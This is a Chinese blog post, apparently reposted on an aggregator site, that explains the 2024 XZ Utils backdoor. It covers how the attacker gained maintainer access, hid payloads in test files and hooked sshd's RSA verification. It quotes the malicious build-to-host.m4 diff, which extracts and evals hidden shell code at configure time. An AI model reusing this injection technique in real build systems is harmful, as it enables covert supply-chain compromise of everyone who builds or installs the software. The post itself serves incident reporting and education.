XZ Utils backdoor(2024.03.29 发现)

2024-03-31 12:52
文章标签 发现 29 backdoor utils xz 2024.03

本文主要是介绍XZ Utils backdoor(2024.03.29 发现),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

XZ Utils backdoor

前不久,在 2024年3月29日xz-utils 中发现了后门漏洞。这是一套为开发人员提供无损压缩的软件。通常用于压缩 ttarballs, software packages, kernel images, and initramfs 镜像。分布非常广泛,为了方便起见,普通 Linux 或 macOS 系统都会安装它。

大致总结

  1. 攻击者 JiaT75 (Jia Tan,github 账号已经被关停) 于 2021 年注册了 GitHub 账号,之后积极参与 xz-utils 的维护,积极贡献。获得了 commit 代码的权利。
  2. JiaT75 在最近的一次 commit code 时,故意加入了 bad-3-corrupt_lzma2.xzgood-large_compressed.lzma 两个看起来并不起眼的测试用二进制数据。但是在编译脚本中,在特定条件下会从这两个文件中读取内容对项目编译结果进行修改,致使编译结果和公开的源代码不同。
  3. 目前 oss-security和 github 等分析代码显示,注入的代码会使用 glibc 的 IFUNC 去 Hook OpenSSH 的 RSA_public_decrypt 函数,使攻击者可以通过构造特定的验证数据绕过 RSA 签名验证。
  4. 只要是同时使用了 liblzma 和 OpenSSH 的程序就会受到影响,最直接的目标就是 sshd,使得攻击者可以构造特定请求,绕过密钥验证远程访问。
  5. 受影响的 xz-utils 包已经被并入 Debian os testing 中进行测试,攻击者同时也在尝试并入 fedoraubuntu
  6. 巧合的是,注入的代码存在某种 Bug,导致特定情况下 sshd 的 CPU 占用飙升。被一位 pg committer 注意到了,发现了这个阴谋并报告给 oss-security,致使此事败漏。 如果不是因为这个 Bug,那么这么后门有很大可能被并入主流发行版的 stable 版本,将会是比肩 心脏滴血漏洞(CVE-2014-0160 的重大安全事件。
  7. JiaT75 抢在 ubuntu beta freeze 的几天前才尝试让新版本并入,以期望减少在测试期间被发现的时间。但是,总后还是被发现。

相关代码

git commit 注入的代码如下:

$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.dnl This file is free software; the Free Software Foundationdnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],dnl Define somedir_c.gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`dnl Translate it from build syntax to host syntax.case "$build_os" incygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then[$1]_c_make='\"$([$1])\"'fi
+  if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+  else
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnlAC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])])dnl Some initializations for gl_BUILD_TO_HOST.AC_DEFUN([gl_BUILD_TO_HOST_INIT],[
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+gl_sed_double_backslashes='s/\\/\\\\/g'gl_sed_escape_doublequotes='s/"/\\"/g'
+  gl_path_map='tr "\t \-_" " \t_\-"'changequote(,)dnlgl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"changequote([,])dnl

涉及个人

xz-utils 有两个维护者:

  • Lasse Collin ( Larhzu ) 从一开始(~2009 年)就一直维护着 xz,在此之前主要维护lzma-utils.
  • Jia Tan ( JiaT75 ) 在过去 2~2.5 年里开始为 xz-utils 做出贡献,并获得提交访问权限,然后大约 1.5 年前获得 manager 权限。

目前相关的 github 账号已经被封,相关网站托管在 github 上,也已经暂停。之后可能会回归到 tukaani.org 域名下。

参考来源:

  • https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
  • https://tukaani.org/xz-backdoor/
  • https://lwn.net/Articles/967180/

这篇关于XZ Utils backdoor(2024.03.29 发现)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/864386

相关文章

【微服务】Ribbon(负载均衡,服务调用)+ OpenFeign(服务发现,远程调用)【详解】

文章目录 1.Ribbon(负载均衡,服务调用)1.1问题引出1.2 Ribbon负载均衡1.3 RestTemplate整合Ribbon1.4 指定Ribbon负载均衡策略1.4.1 配置文件1.4.2 配置类1.4.3 定义Ribbon客户端配置1.4.4 自定义负载均衡策略 2.OpenFeign面向接口的服务调用(服务发现,远程调用)2.1 OpenFeign的使用2.1 .1创建

升级kali系统 进入后发现一直蓝屏

因为要出去晚饭 结果回来重启发现 一直蓝屏 感觉可能是升级过程中 什么软件的安装或者配置出了问题 就直接长按电源重启进入恢复模式 选择最新版的recovery Mode 然后输入  dpkg --configure -a 之后reboot重启  一切正常!

涉密电脑插U盘会不会被发现?如何禁止涉密电脑插U盘?30秒读懂!

在涉密电脑插U盘的那一瞬间,你是否也好奇会不会被发现?涉密电脑的安全监控可是滴水不漏的!想知道如何彻底禁止涉密电脑插U盘?简单几招搞定,轻松锁死外部设备,信息安全无懈可击! 涉密电脑插U盘会不会被发现? 涉密电脑是否会在插入U盘时被发现,需要根据具体情况来判断。在一些情况下,涉密电脑可能没有安装任何监控软件或安全工具,插入U盘可能不会立即触发警告。然而,随着信息安全管理的不断升级,越来越多

API安全 | 发现API的5个小tips

在安全测试目标时,最有趣的测试部分是它的 API。API 是动态的,它们比应用程序的其他部分更新得更频繁,并且负责许多后端繁重的工作。在现代应用程序中,我们通常会看到 REST API,但也会看到其他形式,例如 GraphQL 甚至 SOAP。 当我们第一次对某个目标进行安全测试时,我们需要做大量研究,以了解其主要功能以及它们在幕后如何工作。建议花一些时间来阅读有关目标及其服务的信息。例如,如果

基于Python的机器学习系列(29):前馈神经网络

在本篇文章中,我们将学习如何使用PyTorch构建和训练一个前馈神经网络。我们将以线性回归为例,逐步了解PyTorch的各个组件及其在神经网络中的应用。这些步骤包括: 指定输入和目标:我们将定义输入特征和目标变量。数据集和数据加载器:使用PyTorch的数据集和数据加载器来管理和加载数据。nn.Linear(全连接层):创建前馈神经网络中的线性层。定义损失函数:选择合适的损失函数

数据标注:批量转换json文件,出现AttributeError: module ‘labelme.utils‘ has no attribute ‘draw_label‘错误

labelme版本更换为3.11.2 "D:\Anaconda3\Lib\site-packages\labelme\utils\draw.py"缺失?: import ioimport os.path as ospimport numpy as npimport PIL.Imageimport PIL.ImageDrawimport PIL.ImageFontdef label_co

linux 使用ffpmeg 发现转化目标必须是一个路径

一直有个疑惑  就是使用ffpmeg转码时,源文件和目标文件到底可以传URL地址还是必须为路径    下面就将实验 请看如下代码: 当源文件为一个URL地址时 ,目录为地址时  转码不成功 /usr/local/ffmpeg/bin/ffmpeg --ss 00:00:00 -t 0.01 -i http://www.baidu.com/1.mp4 -y -q:v 2 -f image2 h

发现个有趣的东西:Tweetable Mathematical Art(用三个140字符以内的函数生成一个1024尺寸的图片)

发现 我是在看《构建之法》这本书时,看到作者提到这个: 好厉害!用三段140字符以内的代码生成一张1024×1024的图片_IT新闻_博客园 这是2014年一个人在 Code Golf Stack Exchange (a question and answer site for programming puzzle enthusiasts and code golfers) 发起的编程挑战:

随手记(2)-java.sql.SQLException: [Microsoft][ODBC 驱动程序管理器] 未发现数据源名称并且未指定默认驱动程序

问题描述: 在使用Java连接access数据的.mdb文件时候程序报如下错误 java.sql.SQLException: [Microsoft][ODBC 驱动程序管理器] 未发现数据源名称并且未指定默认驱动程序     错误原因: 在win7 office2013下报错 解决方法:  查看Java桥连程序连接字符串是否写成{Microsoft Access Driver (*.m

『功能项目』Unity本地数据库读取进入游戏【29】

本章项目成果展示 打开上一篇28Unity连接读取本地数据库的项目, 本章要做的事情是通过读取本地数据库登录进入游戏场景 首先创建一个脚本文件夹: 新建脚本:MySqlAccess.cs 编写脚本:MySqlAccess.cs using UnityEngine;using MySql.Data.MySqlClient;public class MySq